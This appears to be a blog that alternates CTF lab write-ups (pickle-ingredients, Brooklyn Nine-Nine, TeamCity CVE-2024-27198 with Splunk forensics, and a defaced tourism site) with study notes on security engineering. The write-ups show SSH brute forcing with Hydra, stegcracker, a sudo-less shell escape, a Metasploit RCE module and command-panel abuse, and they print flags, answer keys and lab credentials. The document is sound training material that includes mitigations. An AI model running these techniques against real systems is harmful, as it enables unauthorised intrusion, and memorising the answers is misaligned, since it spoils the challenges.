Difficulty: Easy
Tags: Security, Engineer, CTF, Web Exploitation
Target IP: 10.114.144.190

Objective

Exploit a vulnerable web server to discover three specific ingredients required to help Rick transform back from a pickle into a human.

Reconnaissance & Enumeration

Initial Access

The challenge begins by accessing the web service via the target IP: http://10.114.144.190

Upon visiting the homepage, inspecting the Page Source reveals a critical comment exposing a username.

• Username: R1ckRul3s

The source code also hints at a subdirectory (assets/). Navigating to http://10.114.144.190/assets/ confirms the server environment.

• Server: Apache/2.4.41
• OS: Ubuntu
• Open Port: 80

Directory Bruteforcing

Using gobuster with a standard wordlist to find hidden directories and files:

gobuster dir -u http://10.114.144.190 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Discovered Paths:

• /login.php
• /robots.txt
• /clue.txt

Exploitation

Credential Discovery

Reviewing the content of /clue.txt provides a hint regarding the ingredients.

Based on the context of the content from /robots.txt, the password is likely the famous catchphrase: Wubbalubbadubdub.

Attempting to log in at /login.php with the credentials:

• User: R1ckRul3s
• Pass: Wubbalubbadubdub

Result: Successful login.

Command Execution & Privilege Escalation

Once logged in, the dashboard restricts access to most sections, leaving only the “Commands” tab available. This suggests a restricted shell or command injection vulnerability.

Step 1: Environment Check

Executing basic commands to understand the environment:

• whoami → Returns current user.
• pwd → Returns current working directory.
• ls → Lists files in the current directory.

A file named Sup3rS3cretPickl3Ingred.txt is visible. Attempting to read it with cat fails because the command is disabled.

Step 2: Reading Files (Bypassing Restrictions)

Since cat is blocked, we try alternative commands like tac (which prints files in reverse line order, but still reads the content):

tac Sup3rS3cretPickl3Ingred.txt

Output: mr meeseek hair

Ingredient #1 Found: mr meeseek hair

Step 3: Finding the Second Ingredient

Next, we attempt to locate the user’s home directory to find the next clue:

ls ../../../home ls ../../../home/rick

A file named second ingredients is found. Note the space in the filename, requiring proper quoting:

tac '../../../home/rick/second ingredients'

Output: 1 jerry tear

Ingredient #2 Found: 1 jerry tear

Step 4: Finding the Final Ingredient

The final flag is typically located in the root directory (/root/). We check if the current user has sudo privileges:

sudo ls /root/

Surprisingly, the user can execute sudo without a password (a common misconfiguration in easy-level CTFs). We can now read the final file:

sudo tac /root/3rd.txt

Output: fleeb juice

Ingredient #3 Found: fleeb juice

Conclusion

By enumerating the web server, finding credentials via source code and clues, and exploiting a restricted shell with sudo privileges, we successfully retrieved all three ingredients.

Mitigations and Remediations

To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:

1. Secure Coding Practices: remove all hardcoded credentials and internal paths from source code comments before deployment. Use automated scanning tools to detect secrets in code repositories.
2. Input Validation & Sandboxing: never pass user input directly to system shell commands. if command execution is required, use a strict whitelist of allowed command and sanitize inputs to prevent injection attacks.
3. Least Privilege Principle: the web server process should run with the minimum necessary permissions. Specifically, the user running the web application should not have sudo access, especially with NOPASSWD privileges.
4. Hardened Configuration: disable unnecessary commands (like tac) in restricted shells and configure the web server to block access to sensitive files types (e.g., .txt, .log) in public directories.

Final Answers

1. First Ingredient: mr meeseek hair
2. Second Ingredient: 1 jerry tear
3. Final Ingredient: fleeb juice

When I started my journey in cybersecurity with my previous knowledge as an IT Project Manager, my mind was fixed on “ethical hacking”: finding vulnerabilities, exploiting them, and reporting them. However, while exploring the Security Engineer role I discovered that the true strength of a system doesn’t just lie in how it defends against attacks, but in how it is built from the ground up.

1. Security Engineer Intro

The first thing that struck me was the fundamental distinction between a Pentester and a Security Engineer. While the pentester seeks to break the system, the security engineer must ensure the system is resilient by design.

What I Learned:

• Security by Design: It’s not about adding patches after the software is finished. Security must be a functional requirement from the planning phase.
• The Secure Software Development Life Cycle (SDLC): I understood how security integrates into every stage: from requirements to deployment and maintenance.
• Shared Responsibility: In the cloud, for example, the provider protects the infrastructure, but I am responsible for protecting my data and configurations.

2. Security Principles

This section was a necessary review of basic concepts, but with a much deeper focus on their practical application. They aren’t just textbook definitions; they are golden rules guiding every technical decision.

Key Concepts:

• The CIA Triad (Confidentiality, Integrity, Availability): I learned that balancing these three elements is a constant act of equilibrium. Sometimes, increasing security (confidentiality) can reduce usability (availability).
• Defense in Depth: The idea that you should never trust a single layer of security. If the firewall fails, encryption must be there. If encryption fails, access controls must stop the attacker.
• Principle of Least Privilege: Every user and process must have only the permissions necessary for their function. This drastically limits the potential damage of a compromised account.
• Fail-Safe Defaults: If something fails, the system must enter a safe state (locked), not an unsafe one (open).

3. Introduction to Cryptography

Before this module, cryptography seemed like a magical black box to me. Reading about this topic made me to demystify it, showing it as a precise mathematical tool that, if used incorrectly, is useless.

What Helped Me Understand:

• Symmetric vs. Asymmetric: The critical difference isn’t just technical, but practical. We use symmetric (AES) for speed with large volumes of data, and asymmetric (RSA/ECC) for secure key exchange and authentication.
• The Importance of Key Management: The strongest algorithm in the world is useless if the key is stored in a plain text file. I learned about the need for HSMs (Hardware Security Modules) and secret managers.
• Hashing and Digital Signatures: I understood how data integrity and sender authenticity are guaranteed without revealing the original information.
• Common Pitfalls: I realized how dangerous it is to use obsolete algorithms (like MD5 or SHA-1) or to reinvent the wheel with proprietary algorithms.

4. Identity and Access Management (IAM)

Perhaps the most relevant lesson for the modern world. With the rise of cloud computing and remote work, the perimeter firewall is no longer enough. Identity has become the new perimeter.

IAM Strategies I Now Apply:

• Multi-Factor Authentication (MFA): It’s not an option; it’s a requirement. I learned why SMS is vulnerable and why security keys (FIDO2) are superior.
• Zero Trust: The slogan “Never trust, always verify” stopped being a catchphrase and became an operational methodology. Every access request must be authenticated and authorized, regardless of its origin.
• Lifecycle Management: The importance of automating the creation and, crucially, the deletion of access rights. “Zombie accounts” are one of the biggest internal threats.
• Identity Federation (SSO): How to simplify the user experience while maintaining centralized and strict control via protocols like SAML and OIDC.

Conclusion:

I have moved from viewing security as a series of defensive tools to understanding it as an integral engineering discipline.

Now I know that:

1. Security must be designed, not patched.
2. Fundamental principles (CIA, Defense in Depth) are non-negotiable.
3. Cryptography is a precise science requiring careful management.
4. Identity is the new security perimeter.

This is just the beginning. In future posts, I will document how I apply these concepts in practical labs, configuring SIEMs, implementing Zero Trust policies, and automating security controls.

If you are starting your journey in security engineering, I highly recommend not underestimating these fundamentals. They are the foundation upon which everything else is built.

Difficulty: Easy
Tags: CTF, Web Exploitation, Privilege Escalation, Steganography
Target IP: 10.114.158.7

Objective

Exploit a vulnerable web server to discover two flags, one from the user and the other from the root user.

Reconnaissance & Enumeration

Initial Access

The challenge begins by accessing the web service via the target IP: http://10.114.158.7

Upon visiting the homepage, inspecting the Page Source reveals a critical comment exposing a relevant hint that mentions steganography.

Steganography: the practice of representing information within another message or physical object, in such a manner that the presence of the concealed information would not be evident to an unsuspecting person’s examination.

There is a potential hidden content in the image from the main page.

Scanning Services

Making a quick scan of the web would be useful to get more context of our scenario and to verify which services are available using nmap http://10.114.158.7

Discovered services:

• ftp
• ssh
• http

Exploitation

Credential Discovery

Accessing through ftp service firstly verifying if the anonymous user is available to execute ftp anonymous@10.114.158.7 where usually it does not require any password to login.

The anonymous user is enabled. Exploring if there is any relevant file by executing ls, there is a relevant instance called note_to_jake.txt

Getting the file into the local machine by using get note_to_jake.txt

Following the command cat note_to_jake.txt in our local machine to read the content of the file.

Looks like a potential user to log in within ssh service is jake and his password is weak, therefore a brute-force it might be quick to guess it. Using Hydra, hydra -V -l jake -P /usr/share/wordlists/rockyou.txt 10.114.158.7 ssh

Jake’s password has been guessed (987654321). Let’s proceed by impersonating Jake’s ssh session, ssh jake@10.114.158.7

Alternative Credential Discovery

Downloading the suspicious image that in the page source mentions steganography. Extracting detailed metadata from the image using the command exiftool.

There was nothing relevant. After a quick google search an interesting command steghide was found, steghide extract -sf brooklyn99.jpg

It contains a passphrase. It could be brute forced, therefore, after another quick google search if there is a way to make a brute force attack into an image that hides information. Commandstegcracker was found, stegcracker brooklyn99.jpg /usr/share/wordlists/rockyou.txt

Image has been cracked and a new result file has created, cat brooklyn99.jpg.out

In this path Holt’s password (fluffydog12@ninenine) has been discovered instead of Jake. Logging as Holt, ssh holt@10.114.158.7

Command Execution & Privilege Escalation

Once logged in as jake, the common corroboration of the following command brings more context of the session: pwd and whoami

Step 1: Environment Check (Jake)

Executing basic commands to understand the environment:

• whoami → Returns current user.
• pwd → Returns current working directory.

Step 2: Finding the User Flag

After exploring within Jake’s session there is an interesting file.

Looks like it is a hash value (ee11cbb19052e40b07aac0ca060c23ee), could be Holts hash password, but let’s try if it is the user flag.

User flag: ee11cbb19052e40b07aac0ca060c23ee

Alternative Step 1: Finding the User Flag (Holt)

Proceed by extracting the user flag, ls and cat user.txt

We got the same user flag ee11cbb19052e40b07aac0ca060c23ee

User flag: ee11cbb19052e40b07aac0ca060c23ee

Step 3: Privilege Escalation

After extracting the user flag, the remaining flag is the root user. Verifying the current session privileges using sudo -l

After knowing that the command less can be executed with admin privileges it is time to explore exploits by looking into GTFOBins to accomplish the privilege escalation.

Replicating the steps by executing first sudo less /etc/hosts followed afterwards !/bin/sh and verify that we are actually the root user.

Step 4: Finding the Root Flag

Navigating into the root folder and reading the text file using cat root.txt

Root flag: 63a9f0ea7bb98050796b649e85481845

Conclusion

By scanning the IP, finding credentials via ftp service and steganography techniques, and exploiting a vulnerable shell with sudo privileges for a specific command to escalate privileges to become the root user, we successfully retrieved both flags.

Mitigations and Remediations

To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:

1. Secure Coding Practices: remove all hardcoded credentials and internal paths from source code comments before deployment. Use automated scanning tools to detect secrets in code repositories.
2. Least Privilege Principles: the ssh service should run with the minimum necessary permissions. Specifically, the user running in the service should not have sudo access, especially with NOPASSWD privileges.
3. Hardened Password Policy: enforce the usage of complex password to avoid a feasible brute force attack and restrict the amount of attempts to log in.

Final Answers

1. User flag: ee11cbb19052e40b07aac0ca060c23ee
2. Root flag: 63a9f0ea7bb98050796b649e85481845

Building a system is only half the battle. The other half is understanding what we’re defending against and how to manage the inevitable risks that come with any digital infrastructure.

In this second installment, I’m diving deep into Section 2: Threats and Risks. This module shifted my perspective from pure technical implementation to strategic thinking. It’s not enough to configure firewalls and encrypt data; I need to understand governance, model threats, manage risk, and continuously monitor vulnerabilities.

Here are my key takeaways from this transformative section.

1. Governance and Regulation

Before this module, I viewed regulations like GDPR, NIS2, or ISO 27001 as bureaucratic hurdles. After reading about this topic it helped me see them differently: they are blueprints for accountability.

• Governance is Strategy: Security isn’t just IT’s responsibility—it’s a business function. Governance ensures security aligns with organizational goals and legal obligations.
• Regulatory Compliance: Different industries have different requirements. Understanding which regulations apply (GDPR for EU data, PCI-DSS for payments, etc.) is critical for avoiding fines and building trust.
• Policy Development: Security policies aren’t just documents; they are enforceable rules that guide behavior across the organization. From acceptable use policies to incident response plans, they set the tone.
• Audit and Accountability: Regular audits aren’t about catching people doing wrong—they’re about verifying that controls work and identifying gaps before attackers do.

2. Threat Modelling

Threat modelling taught me to systematically analyze systems from an attacker’s perspective before they are deployed.

Key Methodologies:

• STRIDE: A framework for categorizing threats: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. Each category helps identify specific attack vectors.
• Attack Trees: Visualizing how an attacker might reach a goal through various paths. This helps prioritize defenses on the most likely or damaging routes.
• Data Flow Diagrams (DFDs): Mapping how data moves through a system reveals where sensitive information is exposed and where controls are needed.
• Threat Libraries: Using databases like CAPEC or MITRE ATT&CK to understand common attack patterns and map them to specific system components.

3. Risk Management

Risk management is where theory meets reality. Not every threat can be eliminated, and not every vulnerability can be patched immediately. Risk management teaches me how to make calculated decisions about what to protect, when, and how much.

• Risk Assessment: Identifying assets, threats, and vulnerabilities to calculate risk levels. The formula is simple but powerful: Risk = Likelihood × Impact.
• Risk Treatment Options:
  • Avoid: Don’t engage in the risky activity.
  • Mitigate: Implement controls to reduce likelihood or impact.
  • Transfer: Shift risk to a third party (e.g., insurance).
  • Accept: Acknowledge the risk and move forward consciously.
• Risk Registers: Maintaining a living document that tracks identified risks, their status, and mitigation efforts. This becomes invaluable during audits and strategic planning.
• Business Impact Analysis (BIA): Understanding which systems are critical to operations and prioritizing their protection accordingly.

4. Vulnerability Management

Vulnerabilities are inevitable. The question isn’t if they exist, but how quickly we can find and fix them. This module transformed vulnerability management from a reactive chore into a proactive strategy.

The Vulnerability Management Lifecycle:

1. Discovery: Using scanners (Nessus, OpenVAS) and manual testing to identify weaknesses.
2. Prioritization: Not all vulnerabilities are equal. CVSS scores help, but context matters. A critical flaw on an internet-facing server is more urgent than one on an isolated test machine.
3. Remediation: Patching, configuration changes, or compensating controls when patches aren’t available.
4. Verification: Confirming that fixes were effective and didn’t introduce new issues.
5. Reporting: Documenting findings for stakeholders and tracking trends over time.

Key Insights:

• False Positives: Scanners aren’t perfect. Manual verification is essential to avoid wasting time on non-issues.
• Patch Management: Timing is critical. Some patches introduce bugs; others are urgent. Balancing speed and stability is an art.
• Asset Inventory: You can’t protect what you don’t know exists. Maintaining an accurate asset inventory is the foundation of effective vulnerability management.

Connecting the Dots: How These Concepts Work Together

One of the most valuable aspects of this section was seeing how these four areas interconnect:

Without governance, vulnerability management lacks direction. Without threat modelling, risk management is blind. Without risk management, threat modelling becomes an endless exercise. And without vulnerability management, all the planning is theoretical.

Conclusion:

I see that security is no longer a collection of tools and configurations. Instead, I see it as a strategic discipline that requires:

1. Understanding the regulatory landscape
2. Proactively identifying threats before they materialize
3. Making informed risk-based decisions
4. Continuously improving through vulnerability management

This section bridged the gap between technical skills and strategic thinking. As I continue through the path, I’m excited to apply these concepts in more complex scenarios and real-world simulations.

Difficulty: Easy
Tags: CTF, Remote Code Execution, Forensic, Splunk
Target IP: 10.113.190.140

Objective

The main objective is to determine how an attacker exploited the server and subsequently perform a forensic examination of the host to identify the attacker’s footprints during the post-exploitation stage.

Exploiting the Server

Reconnaissance & Enumeration

Scanning Services

Making a quick scan of the target would be useful to get more context of our scenario and to verify which services are available using nmap 10.113.190.140

Discovered services:

• ssh
• http
• ibm-db2

ibm-db2 is a family of relational database products from IBM for storing, managing, and analyzing structured data.

Using nmap -p 50000 --script db2-das-info -sV 10.113.190.140 confirms the DB2 listener details to identify what host, port, and features are used to authenticate with a DB2 Client.

Looking at the output, we can extract the port 50000 is speaking HTTP and identifies a path to login manually to /login.html page.

Initial Access

Examining the http service using a web browser to gather more information: http://10.113.190.140

Upon visiting the homepage and inspecting the Page Source, anything relevant was found.

Examining the ibm-db2 service (which is actually running a web interface) using the web browser: http://10.113.190.140:50000/login.html

The service is operating an old version 2023.11.3 (build 147512)

Directory Bruteforcing

HTTP Service

Using gobuster with a standard wordlist to find hidden directories and files: gobuster dir -u http://10.113.190.140 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Discovered Paths:

Nothing significant was revealed.

IBM-DB2 Service

Using gobuster with a standard wordlist to find hidden directories and files on the specific port: gobuster dir -u http://10.113.190.140:50000 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Discovered Paths:

• login.html
• 400.html
• forgotPassword.html
• resetPassword.html

Vulnerability Research

Searching for a vulnerability for the specific version 2023.11.3 in JetBrains products.

There is an identified critical authentication bypass vulnerability tracked as CVE-2024-27198 an allows performing admin actions.

Exploitation

Command Execution & Remote Code Execution

Knowing there is a specific vulnerability to perform admin actions implies we will be able to execute code remotely. To make the exploitation process quick, Metasploit will help to automate the entire process. Launch msfconsole

Step 1: Select Exploit module

Searching for the specific exploit module, search cve:2024-27198

Select the exploit,exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198

Step 2: Execute the payload

Firstly, examining the required options to be filled in, show options

The required options in this scenario are:

• RHOSTS
• RPORT

Insert the needed values use set RHOSTS 10.113.170.99 and set RPORT 50000 and verify that are correctly selected using show options again.

Verify if the target is vulnerable after setting the options using check, then run the exploit with run

Step 3: Environment Check

Execute basic commands to understand the environment:

• whoami
• pwd
• ls

The flag is mentioned to be in the home flag. Therefore, navigate to the specific folder using cd /home and ls ubuntu

Read the content of the file flag.txt using cat ubuntu/flag.txt

Output:THM{faa9bac345709b6620a6200b484c7594}

Home folder flag Found:THM{faa9bac345709b6620a6200b484c7594}

Investigation

The IT department has provided the compromised server. The goal is to identify the attacker’s footprints in the post-exploitation stage. Splunk will be the first place to delve into the scenario.

• Username: splunk
• Password: analyst123

Splunk Examination

Malicious User

Access Splunk using the following URL, http://10.114.181.179:8000

It is required to explore the Search & Reporting app to investigate the logs from the brains service. Select the option Data Summary to extract all the entrances classified by specific criteria.

Since the attacker has been authorized as a root all the authentication logs are stored in auth.log

Display all records captured from auth.log by selecting the time frame as All time

Since the next flag mentions user, looking at the section called INTERESTING FIELDS does not mention anything about name or user initially, but there is an option to select more fields

In the Field column there is an instance called name. By displaying the field, there is an interesting line that mentions the user.

Name of the backdoor user which was created on the server after exploitation: eviluser

By including the filter of the known malicious user, we can identify the day of the attack.

It is vital to inspect 7/14/24

Malicious Package

Within the Data Summary, the Sourcetypes section mentions packages. Therefore, the next step is to review its content. Before anything, apply an advisable filter to reduce the entrances by selecting Date & Time Range and specifying the date 07/14/2024

Now there are all the instances with the source type packages that were registered in the system before 7/24/24

The first instance contains a suspicious name called datacollector

Name of the malicious-looking package installed on the server: datacollector

Plugin Installed

To look for the malicious plugin, it is mandatory to first review the service that was attacked. It is called teamcity. Therefore, look in the Data Summary within the Sources section where teamcity-activities.log.

Repeating the same temporal criteria as for the malicious package and apply an additional filter *plugin*. The entries generated by Splunk will be the most relevant to inspect based on the scenario.

Looking at the first instance it reveals a bizarre name AyzzbuXY and it is a zip file. This is the plugin.

Name of the plugin installed on the server after successful exploitation: AyzzbuXY.zip

Conclusion

By scanning the IP, identifying the service on port 50000 as a JetBrains TeamCity instance, and exploiting a known vulnerability (CVE-2024-27198) that allows a remote code execution as the root user, we successfully retrieved the initial flag.

By accessing Splunk to review Data Summary where was registered the authentication and TeamCity service activities were registered as logs, we successfully retrieved the forensic flags.

Mitigations and Remediations

To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:

1. Patch Management: immediately update JetBrains TeamCity to the latest version to mitigate known CVEs like CVE-2024-27198.
2. Network Segmentation: restrict access to administrative interfaces (like TeamCity login page) to trusted IP ranges only, rather than exposing them publicly.
3. Log Monitoring & SIEM: implement robust logging and real-time monitoring (like Splunk) to detect anomalous user creation, suspicious package installations, and unauthorized plugin activity.
4. Principle of Least Privilege: ensure that services do not run with unnecessary root privileges and that user accounts are strictly controlled.

Final Answers

1. Home folder flag: THM{faa9bac345709b6620a6200b484c7594}
2. Name of the backdoor user which was created on the server after exploitation: eviluser
3. Name of the malicious-looking package installed on the server: datacollector
4. Name of the plugin installed on the server after successful exploitation: AyzzbuXY.zip

Theory is only as good as its implementation. You can have the best risk management policy in the world, but if your firewalls are misconfigured or your servers are running default passwords, the strategy collapses.

This section moved beyond “what” we need to protect and focused intensely on “how” we actually harden the infrastructure against real-world attacks.

From securing network architectures to locking down Active Directory and navigating the complexities of cloud security, here is a breakdown of the critical skills I acquired and how they are reshaping my approach to engineering.

1. Secure Network Architecture

Before touching a single command line, I had to rethink how networks are built. The old model of a “trusted internal network” is dead.

Key Takeaways:

• Segmentation is King: I learned that flat networks are a nightmare for security. By segmenting networks (VLANs, subnets), we limit lateral movement. If an attacker compromises a printer, they shouldn’t be able to pivot to the database server.
• DMZs and Choke Points: Understanding how to place public-facing services in a Demilitarized Zone (DMZ) and funneling all traffic through controlled choke points (firewalls, proxies) is essential for minimizing exposure.
• Zero Trust in Architecture: The architecture itself must enforce “never trust, always verify.” This means micro-segmentation and strict access controls at every hop, not just at the perimeter.

2. Linux and Windows Hardening

Operating systems are the foundation of almost every service we run. If the OS is weak, everything on top of it is vulnerable.

Linux System Hardening:

• Least Privilege: Moving away from root usage and implementing strict sudo policies.
• Service Minimization: Disabling unused services (SSH if not needed, unnecessary daemons) to reduce the number of entry points.
• File Permissions: Understanding the nuances of chmod, chown, and ACLs to ensure sensitive files (like /etc/shadow) are inaccessible to unauthorized users.
• Kernel Parameters: Tweaking sysctl settings to prevent IP spoofing and other network-level attacks.

Microsoft Windows & Active Directory Hardening:

• The AD Danger Zone: Active Directory is the crown jewel of many enterprises, and therefore the primary target. I learned how to secure Domain Controllers, enforce strong password policies, and manage Group Policy Objects (GPOs) effectively.
• Disabling Legacy Protocols: Turning off SMBv1, NTLMv1, and other outdated protocols that are ripe for exploitation.
• User Account Control (UAC): Ensuring UAC is enabled to prevent unauthorized elevation of privileges.
• Audit Policies: Configuring Windows to log critical events (logons, privilege changes) so we can detect anomalies.

3. Network Devices and Protocols

It’s not just about servers; the devices that connect them are equally critical. A misconfigured router or switch can bypass all other security measures.

Network Device Hardening:

• Management Plane Security: Disabling Telnet and HTTP in favor of SSH and HTTPS. Changing default credentials is the bare minimum; using AAA (Authentication, Authorization, Accounting) with TACACS+ or RADIUS is the goal.
• Port Security: Preventing unauthorized devices from connecting to switch ports.
• Firmware Updates: Keeping device firmware up to date to patch known vulnerabilities.

Network Security Protocols:

• Encryption in Transit: Understanding the difference between SSL, TLS 1.2, and TLS 1.3.
• Secure Authentication: Moving away from cleartext protocols (FTP, Telnet) to secure alternatives (SFTP, SSH).
• IPSec and VPNs: How to establish secure tunnels for remote access and site-to-site connectivity.

4. Virtualization, Containers, and Cloud

The modern infrastructure is rarely physical. It’s virtual, containerized, and often in the cloud.

Virtualization and Containers:

• Hypervisor Security: Ensuring the hypervisor itself is hardened to prevent VM escape attacks.
• Container Isolation: Understanding that containers share the host kernel. If the kernel is compromised, all containers are at risk.
• Image Scanning: The importance of scanning container images for vulnerabilities before deployment.

Intro to Cloud Security:

• Shared Responsibility Model: In the cloud, the provider secures the cloud (hardware, physical), but I am responsible for security in the cloud (configurations, data, identities).
• Cloud-Native Tools: Getting familiar with native security tools like AWS Security Hub, Azure Security Center, and CloudTrail for logging.
• Misconfiguration Risks: Most cloud breaches aren’t due to hacking, but due to simple misconfigurations.

5. Auditing and Monitoring

You can’t defend what you can’t see. The final piece of the puzzle is how to detect intrusions and verify compliance.

Auditing and Monitoring:

• SIEM Fundamentals: How to aggregate logs from different sources (firewalls, servers, AD) into a Security Information and Event Management (SIEM) system.
• Log Analysis: Learning to read logs not just for errors, but for signs of malicious activity (failed login attempts, unusual outbound traffic).
• Compliance Auditing: Using automated tools to check if systems adhere to security baselines.
• Incident Detection: Setting up alerts for specific indicators of compromise (IOCs) to trigger immediate investigation.

Conclusion:

I no longer just talk about “hardening”; I know exactly which commands to run, which policies to configure, and which protocols to disable.

This section taught me that security engineering is a continuous cycle:

1. Design a secure architecture.
2. Harden the systems and devices.
3. Monitor for deviations.
4. Audit to ensure compliance.
5. Repeat.

The transition from “knowing” to “doing” is the most valuable part. Whether it’s securing a Linux server, locking down an Active Directory forest, or configuring a cloud bucket, the principles remain the same: minimize the attack surface, enforce least privilege, and watch everything.

Difficulty: Easy
Tags: CTF, Web Exploitation, Privilege Escalation
Target IP: 10.113.133.17

Objective

Act as Bob, a security engineer, to identify the vulnerabilities exploited on the tourism website in the production environment, retrieve the hidden flags, and restore the website to its original state.

Reconnaissance & Enumeration

The challenge begins by accessing the web service via the target IP: http://10.113.133.17

Minified Javascript: the process of removing unnecessary characters from JavaScript code, such as whitespace, comments, and line breaks, without changing its functionality.

By mentioning “minified” it means that the JavaScript code was modified. Inspecting the Page Source reveals several critical clues:

<!-- Rest PHP code and html content -->


<!DOCTYPE html>
<html lang="en">


<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Tourism Website</title>
 
    <script src='/tailwind.min.js'></script> <!-- THIS IS OFFICIAL FILE - DO NOT CHANGE IT -->
  <script src='custom.min.js'></script> <!-- THIS IS CUSTOM JS FILE-->
  <link rel="stylesheet" href="/style.css">
</head>


<body>
  <!-- Navigation Bar -->
  <nav class="bg-gray-900 text-white p-6">
    <div class="flex justify-between items-center">
      <a href="/" class="text-lg font-bold">Tourism MHT </a>
      <ul class="flex items-center gap-5">
	  <!--  <li><a href="https://alexanderroca.dev/img" class="hover:text-gray-300">Logs</a></li>  Please keep all images in this folder -->
      <!--  <li><a href="./logs" class="hover:text-gray-300">Logs</a></li>  DevOps team to check and remove it later on -->


        
              
      </ul>
    </div>
  </nav>

  <!-- Main Content -->
  <main class=" mx-auto py-8  h-[80vh] flex items-center justify-center">

    <div class="rounded overflow-hidden shadow-lg bg-white  p-8 flex ">
		        <h2 class="text-gray-700 text-3xl py-6"> FINALLY HACKED !!! I HATE MINIFIED JAVASCRIPT</h2>
	    </div>

  </main>

  <!-- Footer -->
  <footer class="bg-gray-900 text-white flex items-center justify-center">
    <div class="text-center p-4">
      <p>&copy; 2023 Tourism.mht. All rights reserved.</p>
    </div>
  </footer></body>

</html>

It mentions PHP at the top of the source code. Moreover, there are relevant comments:

• custom.min.js: Custom JS file
• /img: Keeps all the images
• ./logs: To check logs and remove later for DevOps

Service Analysis

Inspecting the Network tab in browser development tools reveals a GET request to custom.min.js

Downloading and examining the file reveals the content is encoded in Hexadecimal (hex)

What type of encoding is used by the hackers to obfuscate the JavaScript file? hex

Using CyberChef to decode the hex string reveals the hidden message DIRECTORY LISTING IS THE ONLY WAY

What is the flag value after deobfuscating the file? DIRECTORY LISTING IS THE ONLY WAY

Directory Enumeration

Following the hints from the source code comments:

1. Image Directory (/img)

Visiting http://10.113.133.17/img reveals an Apache server running on Ubuntu. No immediate flags are found in the images.

2. Logs Directory (/logs)

Visiting http://10.113.133.17/logs reveals a file named email_dump.txt

What is the name of the file containing email dumps? email_dump.txt

Reading the content of email_dump.txt:

From: Bob <bob@tourism.mht>
To: Mark <mark@tourism.mht>
Subject: API Credentials

Hey Mark,

Sorry I had to rush earlier for the holidays, but I have created the directory for you with all the required information for the API.
You loved SSDLC so much, I named the API folder under the name of the first phase of SSDLC.
This page is password protected and can only be opened through the key. THM{100100111}

See ya after the holidays

Bob.

The email mentions the API folder is named after the first phase of SSDLC. The first phase is Planning.

The logs folder contains email logs and has a message for the software team lead. What is the name of the directory that Bob has created? Planning

The email also provides the password/key: THM{100100111}

What is the key file for opening the directory that Bob has created for Mark? THM{100100111}

Exploitation

Credential Discovery & API Abuse

Step 1: Accessing the Planning Directory

Visiting http://10.113.133.17/planning requires a password. Entering the key THM{100100111} grants access.

Step 2: Enumerating Users

Inside, we find instructions for an API endpoint: GET http://MACHINE_IP/api/?customer_id=1

The objective is to find specific user details via the API.

Finding User ID 5: Calling http://10.113.133.17/api/?customer_id=5 returns information for a client:

There is an information from the customer id=5, where the email is john@traverse.com and it is a client user.

What is the email address for ID 5 using the leaked API endpoint? john@traverse.com

Finding the Admin User: Iterating through IDs reveals that id=3 belongs to an administrator. Calling: http://10.113.133.17/api/?customer_id=3 reveals:

What is the ID for the user with admin privileges? 3

It displays the endpoint to get access /realadmin and it reveals an email realadmin@traverse.com, name admin and password admin_key!!!

What is the endpoint for logging in as the admin? Mention the last endpoint instead of the URL. /realadmin

Step 3: Gaining Admin Access

Navigating to http://10.113.133.17/realadmin:

Logging in with the credentials found (realadmin@traverse.com / admin_key!!!) grants access to the admin panel.

Step 4: Environment Check

The admin panel offers options to execute system commands.

• System Owner: output www-data (equivalent to whoami)
• Current Directory output /var/www/html/realadmin (equivalent to pwd)

Using the browser’s Network tab to intercept the POST request, we can modify the payload to execute arbitrary commands.

Sending commands=ls -lsa reveals the directory contents.

Two critical files are identified:

• thm_shell.php: likely the web shell used by the attacker.

Can you find the name of the web shell that the attacker has uploaded? thm_shell.php

• renamed_file_manager.php: a renamed file manager tool

What is the name of the file renamed by the attacker for managing the web server? renamed_file_manager.php

A password for the file manager is also displayed in the output:THM{10101}

Step 5: Restoring the Website

Accessing http://10.113.133.17/realadmin/renamed_file_manager.php with the passwordTHM{10101} opens the file manager.

Locating the index.php, we observe it has been modified to display “FINALLY HACKED” message.

Editing the file to remove the malicious message restores the site.

The final flag of this room is in the file: THM{WEBSITE_RESTORED}

Can you use the file manager to restore the original website by removing the “FINALLY HACKED” message? What is the flag value after restoring the main website? THM{WEBSITE_RESTORED}

Conclusion

By analyzing the source code for hidden comments and obfuscated JavaScript, we identified the encoding method and a hint for directory listing. Leveraging directory enumeration, we found an email dump that revealed the naming convention for a protected directory and the password to access it. Inside, we discovered an insecure API endpoint that allowed us to enumerate users and harvest admin credentials. Finally, using the admin panel to execute commands, we identified the attacker’s web shells, accessed the file manager, and restored the compromised website.

Mitigations and Remediations

To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:

1. Code Review & Sanitization: remove all hardcoded credentials, internal paths, and debug messages from source code before deployment. Avoid leaving comments that hint at hidden directories.
2. Disable Directory Listing: configure the web server (Apache/Nginx) to disable directory listing (Options -Indexes) to prevent attackers from browsing file structures.
3. Secure API Endpoints: implement proper authentication and authorization checks on all API endpoints. Do not expose sensitive user data (emails, passwords) via unauthenticated or poorly secured GET requests.
4. Input Validation & Sandboxing: restrict the ability of web applications to execute system commands. If command execution is necessary, ensure strict input validation and sandboxing to prevent arbitrary code execution.

Final Answers

1. What type of encoding is used by the hackers to obfuscate the JavaScript file? hex
2. What is the flag value after deobfuscating the file? DIRECTORY LISTING IS THE ONLY WAY
3. What is the name of the file containing email dumps? email_dump.txt
4. What is the name of the directory that Bob has created? Planning
5. What is the key file for opening the directory that Bob has created for Mark? THM{100100111}
6. What is the email address for ID 5 using the leaked API endpoint? john@traverse.com
7. What is the ID for the user with admin privileges? 3
8. What is the endpoint for logging in as the admin? Mention the last endpoint instead of the URL. /realadmin
9. Can you find the name of the web shell that the attacker has uploaded? thm_shell.php
10. What is the name of the file renamed by the attacker for managing the web server? renamed_file_manager.php
11. Can you use the file manager to restore the original website by removing the “FINALLY HACKED” message? What is the flag value after restoring the main website? THM{WEBSITE_RESTORED}

